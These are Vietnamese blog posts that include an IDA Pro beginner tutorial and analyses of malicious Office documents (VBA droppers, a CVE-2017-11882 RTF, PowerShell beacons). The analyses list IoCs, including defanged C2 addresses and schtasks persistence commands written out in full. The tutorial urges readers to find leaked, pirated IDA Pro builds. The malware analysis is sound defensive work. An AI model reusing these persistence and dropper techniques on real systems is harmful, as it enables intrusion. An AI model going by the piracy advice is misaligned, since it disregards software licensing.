Quan sát bảng ở bên dưới, chúng ta có cột đầu tiên là các giá trị thập phân, cột thứ hai là các giá trị thập lục phân và cột thứ ba biểu diễn các kí tự tương ứng. Lấy ví dụ, nếu tôi muốn viết một khoảng trống, tôi phải sử dụng 0x20 hoặc 32 ở hệ thập phân. Do đó, để biểu diễn bất kỳ kí tự nào mà chúng ta cần là số hay chữ cái, ta có thể sử dụng bảng mã này, và nó được gọi là bảng mã ASCII (American Standard Code for Information Interchange). Bảng mã ASCII được đùng để hiển thị văn bản trong máy tính và các thiết bị thông tin khác, nó cũng được dùng bởi các thiết bị điều khiển làm việc với văn bản.

Tại IDA calculator, nó sẽ xem xét các biểu thức và hiển thị các kí tự tương ứng như chúng ta đã thấy trong trường hợp 0x45 là kí tự E.

Một cách khác để chuyển đổi là sử dụng hàm chr() của Python:

Trong cửa sổ Hex Dump của IDA chúng ta cũng có một cột để hiển thị các kí tự tương ứng:

Như trên hình, chúng ta thấy 45 được biểu diễn là chữ E.

Chức năng tìm kiếm trong IDA

Các bạn để ý sẽ thấy có tùy chọn Search trên menu của IDA và nếu ở màn hình disassembly hoặc tab IDA – View, IDA sẽ cung cấp cho chúng ta nhiều lựa chọn tìm kiếm rất dễ hiểu. Khi chuyển sang các tab khác (trừ tab Hex-View) thì các tùy chọn của Search sẽ được lược bớt.

Các tùy chọn được hiển thị trong hình dưới đây có thể sẽ khác trên máy của các bạn, bởi bản IDA của tôi có bổ sung thêm một số plugin.

Next Code

Tùy chọn này sẽ tìm kiếm lệnh kế tiếp đã được hiểu là Code. Nếu như không được nhận diện là Code, nó sẽ bỏ qua.

Next Data

Tùy chọn này sẽ tìm kiếm các địa chỉ tiếp theo, nơi được IDA hiểu là Data (đã được định nghĩa) hoặc là xử lý dữ liệu tại bất kỳ section nào.

Như trong trường hợp trên, IDA phát hiện một dword (dd) tại địa chỉ không tương ứng với bất kỳ lệnh nào, rõ ràng là, nếu chúng ta tiếp tục tìm kiếm, nó sẽ tìm kiếm dữ liệu tiếp theo. Ví dụ, quan sát phần dữ liệu bên dưới khi tôi thực hiện tìm kiếm một lần nữa:

IDA dừng ở địa chỉ 00402004, tại đó thông tin ở bên phải hàm ý rằng đó là nơi mà bạn sẽ làm việc với dữ liệu, thuộc section DATA. IDA sẽ bỏ qua các địa chỉ chỉ chứa số 0, không có bất kỳ tham chiếu nào. Tóm lại, IDA chỉ tìm kiếm những dữ liệu mà chương trình có thể sử dụng tới.

Search completed. Found at 00402004.

Search completed. Found at 00402048.

Search Explored và Unexplored

Tính năng đầu tiên sẽ tìm code hoặc data đã được định nghĩa (lệnh hoặc dữ liệu) và tính năng thứ hai áp dụng với các vùng không được phát hiện là lệnh hoặc dữ liệu hợp lệ:

Khu vực với các giá trị 0 tại 0x402000 được tìm thấy với tính năng Search Unexplored.

Search completed. Found at 00402000.

Search completed. Found at 00402000.

Search completed. Found at 00402001.

Search completed. Found at 00402001.

Search completed. Found at 00402002.

Search completed. Found at 00402003.

Search completed. Found at 00402008.

Lặp lại việc tìm kiếm này, chúng ta thấy rằng nó bỏ qua dữ liệu tại 0x402004 vì dữ liệu đó được coi là Explored.

Search Immediate Value – Search Next Immediate Value

Lệnh này tìm kiếm lệnh đầu tiên hoặc byte dữ liệu có chứa giá trị hằng số được chỉ định. Quá trình tìm kiếm tương đối chậm (nhưng nhanh hơn nhiều so với tìm kiếm text):

Nếu chọn Find all occurrences, IDA sẽ tìm tất cả. Còn nếu không chọn, IDA sẽ tìm kiếm từng lần một, với trường hợp này, để lặp lại việc tìm kiếm, ta sẽ sử dụng Search next immediate value.

Search Text – Search Next Text

Tìm kiếm các chuỗi mà chúng ta nhập vào, bao gồm cả biểu thức chính quy nếu chúng ta muốn.

Nếu chúng ta chỉ tìm kiếm một lần, để tìm tiếp thì sử dụng Search Next Text.

Search Sequence Of Bytes

Tùy chọn này cho phép ta tìm kiếm các chuỗi các bytes ở hệ thập lục phân:

Nếu nhấp đúp vào kết quả đầu tiên và tại tùy chọn của IDA, ta thiết lập giá trị 6 tại Number of opcode bytes để hiển thị tối đa 6 bytes tương ứng với mỗi lệnh.

Kết quả IDA sẽ hiển thị opcode 90 90 mà ta đã yêu cầu tìm kiếm:

Search Not Function

Chức năng này cho phép tìm kiếm byte đầu tiên không thuộc về bất kỳ hàm nào:

Search completed. Found at 004013D7.

Trên hình, ta thấy có một lệnh RET đứng độc lập, như vậy nó không thuộc bất kỳ một hàm nào. Đôi khi có những hàm mà IDA không thể xác định đó là hàm nhưng chúng lại có các lệnh hợp lệ.

Trên đây, các bạn đã tìm hiểu những chức năng tìm kiếm quan trọng nhất mà IDA cung cấp thông qua Search menu, tất nhiên, bên cạnh đó IDA còn hỗ trợ khả năng xử lý các Python script, từ đó bạn có thể thực hiện nhiều tác vụ hơn.

Tôi sẽ cố gắng đi thật chậm, từng bước một, không vội vã để các đều có thể dễ dàng hiểu và nắm bắt được.

Phần 2 đến đây kết thúc. Hẹn các bạn trong phần 3!

m4n0w4r

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Lời tựa

Loạt bài viết này không phải tôi nghĩ ra, tôi đã xin phép viết lại từ bộ tuts của thầy Ricardo Narvaja – ông là linh hồn và là người sáng lập ra nhóm Crackslatinos, hiện ông đang làm việc tại Core Security dưới vai trò là Exploit Writer. Bộ OllyDbg tôi đã viết trước đây (vẫn còn đang dở ) cũng là dựa vào các bài viết mà ông chia sẻ. Tôi ngưỡng mộ ông bởi trong thời gian nhiều năm sinh hoạt ở CLS, Ricardo đã viết và chia sẻ vô số các bài viết về Cracking và Reverse Engineering.

Ricardo Narvaja

Ý tưởng ra đời của loạt bài viết này rất đơn giản, đó là cập nhật bộ tài liệu về Cracking và Reversing với OllyDbg nhưng thay vào đó sẽ sử dụng công cụ nổi tiếng là IDA. Các bạn sẽ làm quen với IDA trên môi trường hệ điều hành Windows, từ những phần cơ bản nhất cho tới những kiến thức nâng cao hơn.

Bộ này tôi nghĩ dành cho những người mới bắt đầu tìm hiểu về IDA, bạn nào đã “expert” rồi thì có thể đọc cho vui và góp ý để tôi chỉnh lại những chỗ còn thiếu sót. Bạn nào cảm thấy mất thời gian khi đọc những gì tôi viết, hãy chuyển sang làm những việc khác khiến bạn thấy hứng thú hơn.

Tại sao lại là IDA Pro?

Vậy lý do gì mà tôi và các bạn cần phải học sử dụng IDA? Đó là vì, trong khi OllyDbg bó hẹp chúng ta bởi nó chỉ là một trình gỡ lỗi 32-bit, hoạt động ở chế độ user mode của Windows thì IDA Pro là một công cụ reversing hoàn chỉnh, sử dụng được trên cả hai nền tảng 32-bit và 64-bit, vừa là một trình disassembler đồng thời cũng hỗ trợ debug như một trình debugger.

Mặc dù, hiện nay các chuyên gia đang chuyển dần sang sử dụng x64dbg (https://github.com/x64dbg) để thay thế cho OllyDbg, nhưng dường như để vượt qua được cái bóng của OllyDbg thì sẽ vẫn còn cần một thời gian nữa. Minh chứng là các chuyên gia phân tích của China hiện nay vẫn dùng OllyDbg hàng ngày: https://ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east-en/ hay chuyên gia Vitali Kremez vẫn dùng OllyDbg để phân tích song song với IDA: https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28-zebrocy.html. Tác giả Kao tại Blog https://lifeinhex.com đã đưa ra những nhận xét cá nhân vì sao ông chưa sử dụng x64dbg trong công việc. Các bạn có thể đọc thêm tại đây: https://lifeinhex.com/why-im-not-using-x64dbg/https://lifeinhex.com/x64dbg-2-years-later/

Lý do nữa để cần phải biết sử dụng IDA là bởi công cụ này cung cấp khả năng phân tích tĩnh (static analysis) tốt hơn nhiều so với việc thực hiện bằng OllyDbg. Tuy nhiên, đối với những người ban đầu mới làm quen IDA sẽ thấy việc sử dụng nó khá phức tạp. Bù lại, khác với OllyDbg/x64dbg, IDA có thể hoạt động được trên các môi trường hệ điều hành khác nhau như Windows, Linux hoặc Mac OS X và thậm chí là remote (từ xa):

Danh sách các kiến trúc vi xử lý mà IDA hỗ trợ cũng rất rộng:

Qua đó, các bạn thấy việc học cách sử dụng IDA sẽ cho phép chúng ta mở rộng phạm vi công việc của mình, mặc dù trong loạt bài viết này tôi sẽ chỉ tập trung vào hai môi trường Windows 32 và 64 bit, ở chế độ user mode và đôi khi là kernel mode. Thực tế cho thấy, khi làm quen với công cụ này sẽ cho phép chúng ta dễ dàng thích ứng với bất kỳ môi trường nào.

Như đã nói ở trên, loạt bài viết này sẽ bắt đầu từ những kiến thức cơ bản nhất, do vậy sẽ có nhiều nội dung lặp lại mà có thể các bạn đã đọc trong loạt bài viết về OllyDbg. Các kiến thức đó sẽ được trình bày lại ở đây một lần nữa nhưng là với IDA và tôi sẽ cố gắng đi thêm nhiều vấn đề hơn. Nếu ai đó thấy những gì bạn đọc trong loạt bài viết này là rất phức tạp hoặc nhàm chán, có lẽ bạn nên dành thời gian thời gian để đọc các bài viết về OllyDbg trước để cảm thấy dễ dàng hơn hoặc làm công việc khác mà khiến bạn cảm thấy có hứng thú. Loạt bài viết này sẽ bao gồm tất cả các kĩ thuật như phân tích tĩnh (static) và động (dynamic), cracking, exploit và unpacking. Tôi sẽ cố gắng để đề cấp tới càng nhiều kĩ năng càng tốt. Hi vọng thế!!

Nhiệm vụ đầu tiên

Việc đầu tiên để có thể tìm hiểu về IDA là ta cần phải có công cụ này trước đã. Tuy nhiên, vấn đề ở chỗ, IDA là một chương trình mất phí. Để có được quyền sử dụng IDA Pro thì chúng ta phải bỏ tiền ra mua và cái giá của nó không hề rẻ. Hơn nữa, không phải cứ có tiền là mua được. Vì lý do trên, tôi không thể cung cấp IDA trực tiếp cho các bạn được. Tuy nhiên, với kĩ năng Google trong thời đại CMCN 4.0, tôi nghĩ các bạn hoàn toàn có thể tìm kiếm được các phiên bản đã leaked trên mạng là IDA Pro 6.8 hoặc 7.0 + Hexrays. Đây là ảnh minh họa phiên bản IDA 6.8 mà tôi có:

Trong hình trên, các bạn thấy có các tệp nén zip cùng với trình cài đặt của IDA là idapronw_hexarmw_hexx64w_hexx86w_150413_cb5d8b3937caf856aaae750455d2b4ae. Mật khẩu để cài đặt nằm trong file install_pass.txt. Ngoài ra, khi cài đặt IDA, nó cũng sẽ tự động cài đặt thêm phiên bản Python 2.7.6. Khuyến nghị các bạn nên sử dụng bản Python đi kèm với IDA. Do đó, trước khi cài đặt IDA, bạn nên gỡ bỏ bản Python khác đã được cài đặt trên máy để tránh xung đột.

Bên lề: trên thực tế ta vẫn có thể cài đặt riêng phiên bản Python khác mà không cần sử dụng bản đi kèm theo bộ cài đặt IDA. Ví dụ, tôi đang sử dụng bản 2.7.10:

Sau khi cài đặt xong ta sẽ mở IDA lên để làm quen, và tương tự như trong loạt bài viết về OllyDbg, chúng ta sẽ sử dụng crackme là Cruehead để thực hành (crackme này bạn nào đọc bộ OllyDbg chắc sẽ có hoặc có thể download tại đây: https://mega.nz/#!KbAWzK7D!LOnvJeYpXpxkMIH_jLGzx7VKVTQg1LifsFQMnOj_WeM). Vì crackme là file thực thi 32-bit nên ta sẽ mở nó bằng phiên bản IDA 32-bit.

Bên lề: Để kiểm tra xem một file exe là 32 hay 64 bit sẽ có nhiều cách, ở đây tôi sử dụng một chương trình Hex Editor, chẳng hạn như là HxD (https://mh-nexus.de/en/downloads.php?product=HxD). Dựa vào dấu hiệu sau để biết file là 32-bit hay 64-bit:

Như trên hình, khi tôi mở công cụ SnippingTool (có trên các phiên bản Windows mới) trong HxD, dựa vào vào dấu hiệu sau chữ PE: PE..d† thì ta khẳng định đây là một file 64-bit. Trong khi, đối với crackme Cruehead của chúng ta, sau PE có: PE..L, vậy đây là một file 32-bit:

Từ thông tin đó, chúng ta biết sẽ phải mở Crackme bằng phiên bản 32-bit của IDA. Khi giao diện của IDA xuất hiện, chọn New để mở một tệp tin mới, tìm đường dẫn tới Crackme để load nó vào IDA:


Khi bạn nạp một file vào IDA, IDA sẽ có gắng nhận diện định dạng của file đó (ví dụ: IDA đã nhận biết chính xác crackme là một PE file) cùng với kiểu kiến trúc vi xử lý. Quá trình này cho ta thấy IDA hành xử giống với Windows loader. Mặc định, IDA sẽ không load kèm PE header hay resource section trong quá trình phân rã code của nó. Nếu bạn tích chọn Manual load, IDA sẽ hỏi bạn khi bạn muốn nạp từng section, kèm theo PE header.

Giữ nguyên các thiết lập mặc định và nhấn OK để IDA tiến hành phân tích file. Nếu chúng ta đồng ý hiển thị chế độ Proximity View (có từ phiên bản IDA v6.2), một màn hình graph sẽ xuất hiện cung cấp thông tin về các hàm mà IDA nhận diện được trong Crackme theo mô hình cây như bên dưới. Tóm lại, ở chế độ proximity view này, địa chỉ hiện tại, hàm gọi (caller) và hàm được gọi (callee) được biểu diễn dưới dạng tập hợp các node có liên kết với nhau:

Để chuyển qua lại giữa chế độ đồ hoạ (Graph) hoặc các lệnh ở chế độ Text bình thường, ta sử dụng phím tắt là spacebar. Tại Options – General, tích chọn Line prefixes để hiện thị thêm thông tin về địa chỉ bộ nhớ ở bên cạnh các lệnh trong chế độ đồ hoạ của IDA và tại Number of opcode bytes, nếu chúng ta thay đổi giá trị tại đó (mặc định là bằng 0), chúng ta sẽ thấy các opcodes hoặc các bytes xuất hiện tại mỗi lệnh.

Khi phân tích một tệp tin thực thi, đầu tiên IDA mở ở chế độ Disassembler (hay có thể được gọi là Loader) và sẽ không thực thi chương trình. IDA lúc này chỉ phân tích tĩnh để phục vụ cho mục đích reversing và tạo tệp tin .idb (cơ sở dữ liệu) để lưu toàn bộ quá trình phân tích của chúng ta.

Để có thể debug được, chúng ta phải lựa chọn các tùy chọn debuggers khác nhau được hỗ trợ bởi IDA và thực hiện trong chế độ Debugger mà chúng ta sẽ tìm hiểu ở các bài viết sau này. IDA cung cấp rất nhiều cửa sổ được xem như là các tab và khi truy cập View-Open Subview, chúng ta có thể mở các tab này theo mục đích sử dụng riêng của từng người.

Mới đầu, khi dùng IDA các bạn sẽ thấy chưa quen và có cảm giác hơi ngợp vì có quá nhiều tính năng. Thậm chí tại màn hình graph của IDA bạn sẽ thấy xuất hiện nhiều chỗ có cùng một địa chỉ. Ví dụ như tại điểm bắt đầu của một hàm, các địa chỉ được lặp lại nhiều lần, điều này xảy ra là bình thường vì có rất nhiều thông tin từ địa chỉ đó và nó không đủ để biểu diễn / hiển thị trên cùng một dòng.

Mẹo nhỏ là tìm điểm kết thúc của cùng một địa chỉ được lặp lại, tại đó chúng ta sẽ thấy nơi bắt đầu của lệnh được disassembly. Trong trường hợp này, lệnh tương ứng với địa chỉ 401000 là push 0.

Trong IDA, ta có thể độc lập tùy chỉnh giao diện mặc định cho Loader và Debugger. Tại màn hình Loader, khi đã thiết lập các cửa sổ và các tab mà chúng ta sử dụng nhiều nhất theo ý thích của mình, ta có thể lưu lại bằng cách vào Windows-Save Desktop và tích chọn Default để lưu vào cấu hình mặc định. Tương tự, trong chế độ Debugger, ta cũng có thể tùy chỉnh theo ý muốn và lưu lại thành cấu hình mặc định.

Tại bất kỳ tab nào của IDA như Functions, Strings, Names, v.v …

Chúng ta có thể tìm kiếm tại các cửa sổ này bằng cách nhấn CTRL + F, khung tìm kiếm nhỏ sẽ xuất hiện bên dưới, cho phép lọc theo những gì chúng ta nhập vào. Trong View-Open Subview-Strings như ở ví dụ bên dưới, IDA sẽ hiển thị cho ta những chuỗi có chứa “try”:

Ngoài ra, nếu tôi chọn View-Open Subview-Disassembly, tôi có thể mở một cửa sổ disassembly thứ hai, qua đó có thể truy xuất tới các hàm khác với cửa sổ đầu tiên và như vậy ta có thể phân tích được nhiều hàm tại cùng một thời điểm. Đây là chính là một lợi thế của IDA so với OllyDbg/x64dbg:

IDA cũng cung cấp một cửa sổ hiển thị dạng hexadecimal tương tự như cửa sổ Dump của OllyDBG/x64dbg. Trong IDA, cửa sổ này có tên là Hex View. Nếu bạn không thấy cửa sổ này, có thể hiển thị nó thông qua View – Open Subview- Hex dump:

Cũng từ Open Subview, ta có thể truy xuất thông tin về các hàm được chương trình import thông qua Imports tab như hình dưới đây:

Cũng tại màn hình Loader của IDA, các bạn cũng sẽ thấy một màn hình nhỏ khác có tên là Graph overview (Nếu không thấy, vào View – Graph Overview để mở nó), nằm ở góc dưới trái. Cửa sổ này rất hữu ích, nó hiển thị các code block của hàm mà ta đang phân tích, qua đó ta có thể di chuyển qua lại giữa các code block một cách nhanh chóng và dễ dàng.

IDA cũng có các tab dành riêng khác như Structures, Exports, Names, Segments v..v… chúng sẽ được giải thích khi chúng ta tìm hiểu và sử dụng tới các Tab này. Thanh điều hướng (navigator) phía trên hiển thị các phần khác nhau của một file đang phân tích bằng các màu khác nhau.

Ngay bên dưới là các thông tin mô tả cho chúng ta biết mỗi màu có ý nghĩa gì, ví dụ màu xám là .data section và nếu bạn nhấp vào phần màu xám đó, IDA sẽ chuyển tới section có địa chỉ màu xám. Trong hình trên, chúng ta thấy có màu hồng tương ứng với external symbol hay .idata section và màu xanh tương ứng với các hàm được phát hiện tại code section.

Phần thứ nhất đến đây là hết, trong phần này tôi đã cung cấp cho các bạn một cái nhìn tổng quan về IDA. Trong các phần tiếp theo, chúng ta sẽ tìm hiểu chi tiết hơn.

Bên lề: trong loạt bài viết này có thể tôi sẽ sử dụng lẫn lộn giữa IDA 6.8 và IDA 7. Khác biệt giữa hai bản này tôi xin đưa ra một hình minh họa sau (phân tích cùng một binary) để các bạn thấy vì sao “giang hồ mạng” thường chờ đợi bản leak mới nhất của IDA 😀

IDA 6.8
IDA 7.0 (nhận diện được hàm main cũng các hàm thư viện)

Kết thúc phần 1. Hẹn các bạn trong phần 2.

m4n0w4r

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank

IDA Tutorial….

Posted: February 15, 2019 in IDA Tutorial...
Tags: ,

  • – Nhiều bạn hỏi tôi: “Ngoài bộ OllyDbg đang viết dở (rất dở 🙂 ) cùng hầm bà lằng các bài viết khác thì anh có viết gì liên quan đến IDA không?
  • – Tôi trả lời: “Có. Tôi đang viết …“.
  • – “Vậy anh có định đưa lên Blog không anh?
  • – Tôi trả lời: “Có lẽ phải chờ một dịp thật đặc biệt hoặc một lúc nào đó tâm trạng tôi cảm thấy vui thì tôi sẽ chia sẻ các bài viết này…

Và ngày đặc biệt đó cũng đã tới!! Tôi đón thêm một cô công chúa nhỏ sau một quãng thời gian chờ đợi đủ dài … Cũng như các bạn hàng ngày vẫn vào Blog của tôi để chờ xem có gì mới… Tôi cảm ơn các bạn đi “ngang qua” Blog, để lại vài dòng comment để tôi biết rằng nó vẫn còn sống 😦

Trong không khí của bỉm sữa không gì tả nổi, tôi quyết định sẽ publish bộ IDA mà tôi đang viết dở (thực sự rất dở.. 🙂 ) . Bộ này tôi nghĩ dành cho những người mới bắt đầu tìm hiểu về IDA, bạn nào expert rồi thì có thể đọc cho vui và góp ý để tôi chỉnh lại những chỗ còn thiểu sót.


Tôi sẽ sớm đưa các bài viết lên Blog …. Các bạn chờ nhé!!!

PS1: Bộ tuts này không phải tôi nghĩ ra, tôi đã xin phép viết lại từ bộ tuts của thầy Ricardo Narvaja – ông là linh hồn và là người sáng lập ra nhóm Crackslatinos, hiện ông đang làm việc tại Core Security dưới vai trò là Exploit Writer. Bộ OllyDbg tôi viết cũng là dựa vào các bài viết mà ông chia sẻ. Tôi ngưỡng mộ ông bởi trong thời gian sinh hoạt ở CLS, Ricardo đã viết và chia sẻ vô số các bài viết về cracking và reverse engineering.

PS2: Nhiều bạn đọc các bài viết của tôi có ý muốn ủng hộ vật chất, thậm chí có bạn hỏi tôi có viết sách không để mua 🙂 . Thế nên, tôi sẽ đính kèm thêm thông tin donate 😀 để những bạn nào có lòng có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy”.

Regards

m4n0w4r


Mới đây, một người bạn nước ngoài thông báo cho tôi về sample có nội dung từ “Bộ Công Thương” gửi tới “Tập đoàn Dầu khí Việt Nam” như sau:

Bạn còn nhắn tôi : “APT có vẻ thích Việt Nam nhỉ!!” …Tôi không biết là mình nên vui hay nên buồn 😀

1. Stage 1 — Phân tích sơ bộ

Kiểm tra sơ bộ thấy sample này có chứa mã VBA, nhắm vào người sử dụng Office 2007+:

Nội dung của VBA code như sau:

VBA code thực hiện nhiệm vụ giải mã chuỗi Base64, sau đó tạo file Chrome.jstại thư mục C:\Windows\Tasks và lưu nội dung đã giải mã vào file này. Kiểm tra tiếp thông tin metadata liên quan:

Như vậy, VBA code sẽ tạo schedule task để thực thi file Chrome.js.

2. Stage 2 — Giải mã chuỗi Base64

Có thể dùng VBA Editor của Word để debug và có được nội dung của chuỗi Base64. Tuy nhiên, khi đọc code thấy chuỗi Base64 này sẽ được giải mã 3 lần, thông qua CyberChef tôi có thể giải mã được mà không cần phải debug:

Toàn bộ nội dung sẽ lưu vào Chrome.js sau khi giải mã:

3. Stage 3 — Giải mã JS

Chrome.js sẽ giải mã chuỗi base64 được lưu tại biến “c”, sau đó sẽ thực thi kết quả sau giải mã. Ta có nội dung giải mã của chuỗi Base64 trên như hình:

Ta có được một powershell script với nội dung như sau:

4. Stage 4 — Phân tích Powershell

Tại thời điểm phân tích tôi vẫn kết nối được tới C2:

Powershell sẽ kết nối tới C2 tại hxxp://154[.]16[.]37[.]122/GoogleUpdate/Update.php để đọc nội dung command từ Update.php vào biến $Cmd.

Nội dung của Update.php như sau:

Sử dụng wmic để lấy uuid và encode uuid này thành một chuỗi Base64:

Cuối cùng cấu thành một Uri có chứa chuỗi uuid đã encode và kết nối tới uri này:

Tới đây, tôi không thấy có thêm thông tin gì khác, cảm giác như kẻ tấn công chỉ muốn thăm dò xem người dùng có mở tài liệu này hay không để chuẩn bị cho một đợt tấn công khác!

5. IoCs

– Doc file: b22d7b196ca03b43f9b140732a3d317f328e5d5f53379c2520a0f05a17d6e617

– C2: hxxp://154[.]16[.]37[.]122

– Scheduled tasks: schtasks /create /sc MINUTE /tn “Chrome” /tr “C:\Windows\Tasks\Chrome.js” /mo 2 /F & schtasks /create /sc MINUTE /tn “Chrome” /tr “C:\Windows\Tasks\Chrome.js” /mo 2 /RU SYSTEM


Nhờ người em hỗ trợ, tôi có được một sample mới c580d77722d85238ed76689a17b0205b4d980c010bef9616b8611ffba21b142e sử dụng CVE-2017–11882. Sample này có thay đổi chút về OLE object, init_key để decrypt binary, cũng như các dropped binary so với mẫu tôi đã viết tại đây https://kienmanowar.wordpress.com/2018/11/08/la-1937cn-hay-oceanlotus-hay-lazarus/

1. Stage 1 — Phân tích sơ bộ

Kiểm tra thấy đây là một file RTF:

Sử dụng rtfobj để xem có các embedded objects không, thấy có 4 objects:

Thông qua Profiler, có được thông tin sau:

CVE-2017–11882 Signature
Embedded file

Mở file bằng ứng dụng Word không thấy có nội dung gì (theo đánh giá cá nhân, tụi này làm mẫu không bằng các mẫu nhắm vào VN, không viết nổi một nội dung cho tử tế 😀). Nó sẽ drop file e.m vào thư mục Temp . File này sẽ có nội dung như trên hình:

2. Stage 2 — Lấy binary được giải mã

Với sample này, tôi không áp dụng được dụng tính năng Image File Execution Options (IFEO) nên tôi dùng HxD để patch Entry Point của EQNEDT32.exethành 0xEB 0xEF.

Sau đó mở file bằng ứng dụng Word, dùng OllyDBG tiến hành attach tiến trình EQNEDT32.exe. Sau khi attach xong khôi phục lại các bytes gốc đã patch bằng HxD. Đặt một bp tại CreatFileW:

Thông qua shellcode gọi hàm VirtualAlloc để cấp phát vùng nhớ phục vụ cho việc lưu nội dung của file e.m:

Tiếp theo gọi hàm ReadFile để đọc nội dung từ e.m và lưu vào vùng nhớ ở trên:

Dùng vòng lặp xor để giải mã dữ liệu tại vùng nhớ trên (thuật toán tương tự như bài viết https://kienmanowar.wordpress.com/2018/11/08/la-1937cn-hay-oceanlotus-hay-lazarus/ , chỉ khác init_key):

Sau vòng lặp trên có được một PE file mới như sau:

Dump vùng nhớ này ra đĩa để phân tích:

3. Stage 3 — Phân tích binary đã dump

Load binary ở trên vào IDA, nó thực hiện tạo thư mục có tên IISWebClient tại %appdata%:

Thực hiện giải mã một buffer:

Sau đó copy toàn bộ các bytes đã giải mã ở trên vào vùng nhớ đã được cấp phát:

Tạo một key là “Direct3D” tại HKEY_CURRENT_USER\Software & lưu toàn bộ decrypted bytes:

Tiếp theo, drop 3 files vào thư mục IISWebClient đã tạo ở trên:

· iassvcs.exe (signed by Symantec).

· sqlite3.dll (signed by Qihoo 360).

· RasTls.dll (signed by Avira — not valid cert).

Thông tin Digital Signatures của các files:

Tạo persistence key để tự động chạy tại “Software\Microsoft\windows NT\CurrentVersion\windows”:

Sau khi tạo key trong Registry xong, thực thi file iassvcs.exe, file này sẽ load các đã drop cùng thư mục:

Binary cuối cùng được lưu thành file 189AFE4.TMP:

Tiến trình iassvcs.exe sau khi thực thi sẽ kết nối tới C2 tại:

4. IOCs

· Malicious RTF:c580d77722d85238ed76689a17b0205b4d980c010bef9616b8611ffba21b142e

· Decrypted binary: 8D7425AE30FD2D5196EC4DCD2540B31A0D26772F

· Dropped binary:

o %appdata%\IISWebClient\iassvcs.exe: 62944E26B36B1DCACE429AE26BA66164

o %appdata%\IISWebClient\sqlite3.dll: FEE0B982AF421FF8C16C0187B376B086

o %appdata%\IISWebClient\RasTls.dll: C6A73E29C770065B4911EF46285D6557

· C2:

o Name: skylineqaz[.]crabdance[.]com

o Name: xn — ylineqaz-y25ja[.]crabdance[.]com

· Registry:

o “HKCU\Software\Microsoft\windows NT\CurrentVersion\windows”; Value name “Load”; Data: C:\Users\{username}\AppData\Roaming\IISWEB~1\iassvcs.exe

o “HKEY_CURRENT_USER\Software\Direct3D”


Hôm nay, tình cờ lướt twitter của @DissectMalware, tôi có đọc được một mẹo nhỏ hỗ trợ để lấy được toàn bộ malicious script.

Link sample: hxxps://www.hybrid-analysis.com/sample/4991e2bf6c1384c9077366f9bebf159001e5ba922e9b615cf8a331c69efab586?environmentId=120

Thông qua HxD biết được đây là OLE Compound File:

Dùng olevba (https://github.com/decalage2/oletools) có được thông tin về VBA code:

Thường thì các bạn hay gặp các samples sử dụng Document_Open() hay AutoOpen() để tự động thực thi VBA khi người dùng mở tài liệu (chính xác hơn là sau khi nhấn nút Enable Content). Còn ở sample này, nó sử dụng AutoClose() để khi người dùng đóng tài liệu thì VBA code sẽ được thực thi.

Khi parse sample bằng olevba, công cụ có highlight đoạn code liên quan đến thực thi Shell như trên hình. Tiến hành debug VBA code và đặt breakpoint tại chỗ Shell này ta sẽ thấy mal_doc gọi cmd.exe để thực thi một đoạn powershell script:

Như các bạn đã biết, khi debug thì hạn chế của tính năng Watch trong trình debugger sẽ không hỗ trợ ta xem và lấy được toàn bộ nội dung của một chuỗi dài như trên hình.

Còn nếu dùng Process Hacker thì phải thật “nhanh tay” mới lấy được toàn bộ nội dung của Powershell như sau:

Tuy nhiên, có một cách khá hay được @DissectMalware chia sẻ nhằm giúp ta lấy được nội dung của toàn bộ script, đó là sử dụng ActiveDocument.Content.InsertAfter để ghi toàn bộ đoạn text ra chính tài liệu. Bổ sung đoạn code này vào trước lệnh Shell như sau:

Sau khi trace qua ta sẽ có được toàn bộ nội dung của script được ghi ra tài liệu như sau:

Decode chuỗi Base64 trên ta có được nội dung của script thực hiện nhiệm vụ download một PE file từ C2 về máy nạn nhân để thực thi:

….

Cập nhật:

Ngoài cách trên, có thể áp dụng cách của anh TQN là sử dụng lệnh Debug.Print. Bổ sung đoạn code sau vào trước lệnh Shell:

Thực hiện Debug, trace qua lệnh và quan sát cửa sổ Immediate, ta sẽ có được nội dụng của toàn bộ script:

End.

m4n0w4r


1. Tìm VBA code

Hôm rồi, một người bạn bên ARTeam có gửi cho tôi một sample, có vẻ lại nhắm vào ai đó tại VN:

Sample này có dạng MIME :

Mở bằng Notepad++ và tìm dòng “Content-Location”, tôi có được thông tin sau:

Thực hiện decode toàn bộ nội dung base64 ở trên có được thông tin về OLE file:

OLE file

Parse ole file có được thông tin về VBA code:

VBA code

2. Nhiệm vụ của VBA code

Khi tài liệu được mở, lấy đường dẫn tới thư mục temp (%temp%):

Tạo file msohtml.log trong thư mục temp, tiến hành decode base64 data:

Nội dung sau khi decode được lưu vào file msohtml.log:

Như trên hình, đây là một mảng các giá trị decimal, qua một vòng lặp thực hiện xor với key là 372 để decode và thực thi lệnh. Tôi sẽ decode sau!

Quay trở lại với VBA code, nó thực hiện copy wscript.exe thành msohtml.exe vào thư mục temp (cùng chỗ với msohtml.log):

Tạo một Schedule Task với tên là WindowsMediaUpdates và Action là explorer.exe shell:::{giá trị CLSID đã tạo ở trên}.

Tạo Registry key với CLSID đã tạo ở trên, ví dụ: “HKCU\Software\Classes\CLSID\{93A61ECC-2527–498C-B94A-5CAA00284A5A}\Shell\Manage\Command\”.

Tóm lại, VBA code sẽ thực hiện drop một script lưu tại file msohtml.log, nhân bản wscript.exe thành msohtml.exe. Xậy dựng command trong Registry với CLSID ngẫu nhiên và tạo một schedule task với tên là WindowsMediaUpdates để thực hiện command.

3. Nhiệm vụ của msohtml.log

Thực hiện decode nội dung của msohtml.log bằng Reneo (www.kahusecurity.com/tools.html) sẽ có được nội dụng của script:

Trong script decode được ở trên lại có một đoạn code như sau:

